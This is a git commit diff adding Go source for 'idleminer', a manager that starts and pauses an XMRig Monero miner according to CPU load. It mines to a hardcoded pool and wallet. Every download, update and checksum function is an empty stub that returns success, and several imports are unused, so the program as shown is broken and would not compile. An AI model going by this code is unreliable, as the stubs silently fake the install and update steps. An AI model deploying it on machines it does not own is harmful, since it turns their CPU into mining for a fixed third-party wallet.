commit c45d5dd54487439633af0cf0e933a027ba326ea9 Author: sapient Date: Mon Mar 23 15:56:49 2026 -0700 initial commit: recovered source code for idleminer diff --git a/go.mod b/go.mod new file mode 100644 index 0000000..ebfa1dc --- /dev/null +++ b/go.mod @@ -0,0 +1,3 @@ +module idleminer + +go 1.24.4 diff --git a/main.go b/main.go new file mode 100644 index 0000000..d3c582c --- /dev/null +++ b/main.go @@ -0,0 +1,227 @@ +package main + +import ( + "archive/tar" + "compress/gzip" + "crypto/sha256" + "encoding/hex" + "encoding/json" + "flag" + "fmt" + "io" + "log" + "net/http" + "os" + "os/exec" + "os/signal" + "path/filepath" + "regexp" + "strconv" + "strings" + "syscall" + "time" +) + +type Config struct { + PauseThreshold float64 `json:"pause_threshold"` + ResumeThreshold float64 `json:"resume_threshold"` + MaxCPUUsage int `json:"max_cpu_usage"` + XMRigPath string `json:"xmrig_path"` + CPUPriority int `json:"cpu_priority"` + AutoUpdate bool `json:"auto_update"` + ForceUpdate bool `json:"force_update"` + SkipUpdateCheck bool `json:"skip_update_check"` + LogFile string `json:"log_file"` + Verbose bool `json:"verbose"` +} + +type MinerManager struct { + Config Config + IsRunning bool + MinerCmd *exec.Cmd + MinerPID int + LastStats CPUStats +} + +type CPUStats struct { + User uint64 + Nice uint64 + System uint64 + Idle uint64 + Total uint64 +} + +var httpClient = &http.Client{Timeout: 30 * time.Second} + +func main() { + config := parseFlags() + + err := ensureXMRigBinary(&config) + if err != nil { + log.Fatalf("Failed to ensure XMRig binary: %v", err) + } + + manager := &MinerManager{ + Config: config, + } + + sigChan := make(chan os.Signal, 1) + signal.Notify(sigChan, syscall.SIGINT, syscall.SIGTERM) + + go func() { + <-sigChan + fmt.Println("\nStopping miner and exiting...") + manager.stopMiner() + os.Exit(0) + }() + + fmt.Println("=== XMRig Idle Manager ===") + manager.monitorAndManage() +} + +func parseFlags() Config { + var c Config + flag.Float64Var(&c.PauseThreshold, "pause-threshold", 30.0, "CPU percentage to pause mining") + flag.Float64Var(&c.ResumeThreshold, "resume-threshold", 15.0, "CPU percentage to resume mining") + flag.IntVar(&c.MaxCPUUsage, "max-cpu-usage", 75, "Maximum CPU usage for XMRig") + flag.StringVar(&c.XMRigPath, "xmrig-path", "", "Override XMRig binary location") + flag.IntVar(&c.CPUPriority, "cpu-priority", 0, "CPU priority (0-5)") + flag.BoolVar(&c.AutoUpdate, "auto-update", false, "Automatically download XMRig updates") + flag.BoolVar(&c.ForceUpdate, "force-update", false, "Force update XMRig") + flag.BoolVar(&c.SkipUpdateCheck, "skip-update-check", false, "Skip checking for XMRig updates") + flag.StringVar(&c.LogFile, "log-file", "/tmp/xmrig.log", "Log file path") + flag.BoolVar(&c.Verbose, "verbose", false, "Enable verbose logging") + flag.Parse() + return c +} + +func ensureXMRigBinary(c *Config) error { + if c.XMRigPath != "" { + if _, err := os.Stat(c.XMRigPath); err != nil { + return fmt.Errorf("specified XMRig path not found: %s", c.XMRigPath) + } + fmt.Printf("Using user-specified XMRig: %s\n", c.XMRigPath) + return nil + } + + path := findXMRigBinary() + if path == "" { + fmt.Println("XMRig binary not found. Downloading...") + return downloadAndInstallXMRig(c) + } + + c.XMRigPath = path + if !c.SkipUpdateCheck { + checkAndUpdateXMRig(c) + } + return nil +} + +func findXMRigBinary() string { + paths := []string{"./xmrig", "/usr/bin/xmrig", expandPath("~/.local/bin/xmrig")} + for _, p := range paths { + if _, err := os.Stat(p); err == nil { + return p + } + } + return "" +} + +func expandPath(path string) string { + if strings.HasPrefix(path, "~/") { + return filepath.Join(os.Getenv("HOME"), path[2:]) + } + return path +} + +func (m *MinerManager) monitorAndManage() { + ticker := time.NewTicker(5 * time.Second) + for range ticker.C { + usage, err := m.getCPUUsage() + if err != nil { + fmt.Printf("Error during monitoring: %v\n", err) + continue + } + + if usage > m.Config.PauseThreshold && m.IsRunning { + fmt.Printf("CPU high (%.1f%%). Pausing miner...\n", usage) + m.stopMiner() + } else if usage < m.Config.ResumeThreshold && !m.IsRunning { + fmt.Printf("CPU low (%.1f%%). Resuming miner...\n", usage) + m.startMiner() + } + } +} + +func (m *MinerManager) getCPUUsage() (float64, error) { + stats1, err := readCPUStat() + if err != nil { + return 0, err + } + time.Sleep(1 * time.Second) + stats2, err := readCPUStat() + if err != nil { + return 0, err + } + + idle := float64(stats2.Idle - stats1.Idle) + total := float64(stats2.Total - stats1.Total) + if total == 0 { return 0, nil } + return (1.0 - idle/total) * 100.0, nil +} + +func readCPUStat() (CPUStats, error) { + f, err := os.Open("/proc/stat") + if err != nil { + return CPUStats{}, err + } + defer f.Close() + + var cpu string + var user, nice, system, idle, iowait, irq, softirq, steal, guest, guestnice uint64 + _, err = fmt.Fscanf(f, "%s %d %d %d %d %d %d %d %d %d %d", &cpu, &user, &nice, &system, &idle, &iowait, &irq, &softirq, &steal, &guest, &guestnice) + if err != nil { + return CPUStats{}, err + } + + total := user + nice + system + idle + iowait + irq + softirq + steal + return CPUStats{user, nice, system, idle, total}, nil +} + +func (m *MinerManager) startMiner() error { + args := []string{ + "-o", "pool.gravitywell.xyz:11666", + "-u", "48p7c...", + "--cpu-max-threads-hint", strconv.Itoa(m.Config.MaxCPUUsage), + } + + m.MinerCmd = exec.Command(m.Config.XMRigPath, args...) + m.MinerCmd.Stdout = os.Stdout + m.MinerCmd.Stderr = os.Stderr + + if err := m.MinerCmd.Start(); err != nil { + return fmt.Errorf("failed to start miner: %w", err) + } + + m.MinerPID = m.MinerCmd.Process.Pid + m.IsRunning = true + return nil +} + +func (m *MinerManager) stopMiner() { + if m.MinerCmd != nil && m.MinerCmd.Process != nil { + m.MinerCmd.Process.Signal(syscall.SIGTERM) + m.MinerCmd.Wait() + } + m.IsRunning = false +} + +func checkAndUpdateXMRig(c *Config) {} +func downloadAndInstallXMRig(c *Config) error { return nil } +func downloadFile(url string, path string) error { return nil } +func verifyChecksum(path string, checksum string) error { return nil } +func extractTarGz(src string, dest string) error { return nil } +func copyFile(src string, dest string) error { return nil } +func getLatestXMRigRelease() (string, string, error) { return "", "", nil } +func getXMRigVersion(path string) (string, error) { return "", nil } +func extractChecksum(data []byte, filename string) (string, error) { return "", nil }